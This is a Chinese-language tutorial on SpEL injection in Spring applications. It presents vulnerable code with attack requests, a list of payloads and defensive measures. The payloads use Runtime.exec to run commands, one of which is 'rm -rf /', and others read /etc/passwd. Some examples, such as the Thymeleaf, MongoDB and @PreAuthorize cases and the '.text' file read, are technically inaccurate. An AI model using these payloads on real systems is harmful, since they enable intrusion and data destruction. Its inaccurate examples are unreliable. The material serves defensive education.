SpEL注入案例
SpEL(Spring Expression Language)注入是一种严重的安全漏洞,攻击者可以通过未经过滤的用户输入执行任意表达式,以下是详细的案例分析:

案例1:基本SpEL注入
漏洞代码:
@RestController
public class ExpressionController {
@GetMapping("/evaluate")
public String evaluateExpression(@RequestParam String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
return exp.getValue().toString();
}
}
攻击示例:
GET /evaluate?expression=T(java.lang.Runtime).getRuntime().exec('calc')
案例2:基于注解的SpEL注入
漏洞代码:
@Component
public class SecurityConfig {
@Value("#{${user.role}}")
private String role;
@GetMapping("/admin")
public String adminPage(@RequestParam String role) {
// 如果role动态注入
return role;
}
}
攻击示例:
POST /admin
Content-Type: application/x-www-form-urlencoded
role=T(java.lang.Runtime).getRuntime().exec('rm -rf /')
案例3:模板中的SpEL注入
漏洞代码(Thymeleaf模板):
<div th:text="${__${param.expression}__}">
默认文本
</div>
攻击示例:
GET /page?expression=T(java.lang.Runtime).getRuntime().exec('ls')
案例4:XML配置中的SpEL注入
漏洞配置:
<bean id="userService" class="com.example.UserService">
<property name="role" value="#{systemProperties['${user.role}']}"/>
</bean>
攻击方式:
POST /api/user
Content-Type: application/json
{
"role": "T(java.lang.Runtime).getRuntime().exec('id')"
}
案例5:Spring Data MongoDB中的SpEL注入
漏洞代码:
@Query("{ 'name': ?0 }")
List<User> findByName(@Param("0") String name);
攻击示例:
GET /users?name=#{T(java.lang.Runtime).getRuntime().exec('whoami')}
案例6:自定义SpEL Usage
漏洞代码:
@Component
public class CustomExpressionEvaluator {
private final ExpressionParser parser = new SpelExpressionParser();
public Object evaluateUserExpression(String userExpression) {
// 直接评估用户提供的表达式
return parser.parseExpression(userExpression).getValue();
}
}
攻击示例:
// 用户输入
String userInput = "new java.io.File('/etc/passwd').text";
// 执行结果可能返回文件内容
案例7:基于Spring Security的SpEL注入
漏洞代码:
@PreAuthorize("hasRole('" + userRole + "')")
public void sensitiveOperation() {
// 敏感操作
}
攻击示例:
userRole = "ADMIN') or 1=1 or ('"
常见攻击Payloads
-
获取系统属性:
T(java.lang.System).getProperty('os.name') -
执行系统命令:
T(java.lang.Runtime).getRuntime().exec('ls -la') -
读取文件:
new java.io.File('/etc/passwd').text -
反射调用:
T(java.lang.String).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null) -
使用ProcessBuilder:
new java.lang.ProcessBuilder('ls').start()
防护措施
-
输入验证和过滤:
public class SafeExpressionEvaluator { private static final Set<String> WHITELIST = Set.of("name", "age", "email"); public Object safeEval(String expression) { if (!WHITELIST.contains(expression)) { throw new SecurityException("Invalid expression"); } // 安全评估 return evaluationContext.getVariable(expression); } } -
使用SimpleEvaluationContext:
public static class SpelUtil { public static Object evaluateSafeExpression(String expression) { ExpressionParser parser = new SpelExpressionParser(); // 限制SpEL功能 EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); return parser.parseExpression(expression).getValue(context); } } -
参数化查询:
// 不安全的做法 String query = "SELECT * FROM users WHERE name = '" + userInput + "'";
// 安全的做法
@Query("SELECT u FROM User u WHERE u.name = :name")
List
4. **使用白名单:**
```java
private static final Pattern SAFE_PATTERN = Pattern.compile("^[a-zA-Z0-9_]+$");
public boolean isSafeExpression(String expression) {
return SAFE_PATTERN.matcher(expression).matches();
}
- 禁用SpEL:
@Value("#{'${property}'}") // 改为 @Value("${property}")
检测与修复建议
-
代码审计:
- 搜索所有SpEL使用场景
- 检查用户输入是否直接进入SpEL解析
- 验证评估上下文是否限制
-
安全测试:
- 使用自动化工具扫描
- 手动测试边界条件
- 执行渗透测试
-
修复优先级:
- 高:直接用户输入控制SpEL
- 中:动态属性值整合
- 低:静态表达式评估
SpEL注入漏洞通常出现在以下场景:
- 用户输入直接作为表达式解析
- 动态构建属性值
- 反射调用未受限
- 评估上下文过于宽松
通过输入验证、使用限制性上下文、参数化查询和最小权限原则可以有效防范此类攻击。